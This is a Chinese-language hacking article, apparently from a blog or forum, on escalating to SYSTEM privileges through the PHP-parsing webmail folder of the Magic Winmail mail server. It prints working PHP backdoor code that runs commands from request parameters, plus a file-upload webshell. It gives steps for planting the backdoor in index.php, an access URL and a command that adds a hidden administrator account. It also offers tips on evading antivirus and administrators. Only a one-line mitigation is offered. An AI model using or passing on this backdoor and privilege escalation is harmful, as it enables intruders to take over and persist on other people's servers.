Magic Winmail是一款很不錯的mail server 軟體,深受不少網站的青睞。主要是一些中小的網站。但是在筆者最近的一次滲透中發現,裝有改軟體的伺服器,如果一旦被入侵者得到webshell就可以通過這個軟體來提升許可權,非常危險。
裝有Magic Winmail的伺服器會在系統上開啟8080連接埠,對外提供郵件服務。使用過它的人應該知道。這個Magic Winmail伺服器支援php指令碼解析。
圖1
在裝有Magic Winmail的檔案夾下有
一個server的檔案夾,其下有webmail檔案夾。
圖2
大家可以發現這個檔案夾下是一些php指令碼的檔案。因為Magic Winmail這個軟體可以解析php指令碼,也真是我們利用這個漏洞來提升許可權的得力幫手。發現這個方法實屬偶然,本來我想在這個伺服器上裝個後門,怎麼裝呢? 由於本人思路比較怪。一般不會使用常規的方法,就在這個伺服器8080連接埠上打主意了。這個Magic Winmail就是最佳地點。你在d:/MagicW~1/server/webmail[我測試的機器上的實體路徑]檔案下隨便放置php指令碼,不管是指令碼注入式的還是普通的php指令碼,隨便放! 而且lis0提示請放心大膽使用,不會有日誌嗎? 菜鳥了吧。一般系統被入侵,管理員到系統硬碟下又是md5校正又是指令碼木馬查殺的。他做夢也想不到我們的指令碼會放在這個檔案夾下,lis0推薦使用注入式的指令碼或者是自己寫的不被殺毒軟體能K的指令碼。我哪個指令碼? Lis0使用的是angel寫的一個up.php,又插入了一點東西。玩的時候,上傳個自己修改過的指令碼或者其它東東,很方便。日誌呢?當然還是有的。不過還是在Magic Winmail檔案夾下,到目前為止能到這個檔案夾下查看日誌的網管還真的是不多,除非看了這篇文章
up.php的codz
<?
if ($id=="1"){
system($cmd);
show_source($file);
copy($a,$b);unlink($a);
}
?>
<?
$fname = $_FILES['MyFile']['name'];
$do = copy($_FILES['MyFile']['tmp_name'],$fname);
if ($do)
{
echo"上傳成功<p>";
echo "http://";.$SERVER_NAME."".dirname($PHP_SELF)."/".$fname."";
} else {
echo "上傳失敗";
}
?>
<form ENCTYPE="multipart/form-data" ACTION="<?php echo"".$PHP_SELF.""; ?>" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="提交" TYPE="submit">
</from>
其實我們可以將如下的代碼插入到Magic Winmail的index.php檔案中去,它的功能已經構多了。加上lis0發現的漏洞。這就算是個最完美的後門了。
<?
if ($id=="1"){
system($cmd);
show_source($file);
copy($a,$b);unlink($a);
}
?>
我們使用http://www.target.com:8080/index.php?id=1&YY=XX 就可以正大光明地訪問我們的肉雞了。好像這樣做太黑了點:)
還沒說漏洞呢?廢話多了。將一個php的指令碼放在d:/MagicW~1/server/webmail下
圖3
然後正大光明地 net user lis0 lis0 /add & net localgroup administrators lis0 /add 這個就是哥們發現的漏洞,不相信, 讓肉雞來證明我說的是沒錯的啊。
圖4
這個webshell是system層級的而不是你那個guest層級的東西。雖然同是webshell待遇卻不同啊。至於你想要玩其它的東東的話,使用上面我提起的up.php上傳應該是不成問題的。然後在指令碼的那個可愛的小框框中執行就ok了
如果使用asp指令碼可以提升限權嗎? 也放在Magic Winmail那個檔案夾下。
我們可以分析一下如果Magic Winmail可以同時解析php和asp指令碼的話,應該是可以的。不好意思Magic Winmail是不可以解析asp指令碼的,Magic Winmail這邊是php的世界。
我們這邊簡單地分析一個這個漏洞是如何產生的?我們可愛的網管在裝Magic Winmail的時候肯定是以system層級的身份裝的。當然Magic Winmail就繼承了system層級的限權,而我們的Magic Winmail卻可以解析php指令碼,想當然我們可愛的php指令碼就是system層級的指令碼了。這個Magic Winmail軟體有點像咱國產Netbox的味道。
看看我們分析的對不對,於是我上傳了個php探針,看看它到底是怎麼回事情。
圖5
看到了沒~乖乖
system層級的 & 而且無被禁函數 & 允許/最大 32M & lis0高興ing。我個人認為這個一個最完美的php指令碼後門放置地點,隨意發揮你的php才華。好了就這麼多了,希望能對大家滲透有所協助。
解決方案:將Magic Winmail所在盤作相應處理,限制guest限權的使用者訪問。
聲明:由於該方法對於不少人來說可謂是一大驚喜,放置後門加提升限權可能帶來不良影響。所作的測試的指令碼已經完全刪除。無聊人士請勿對號入座。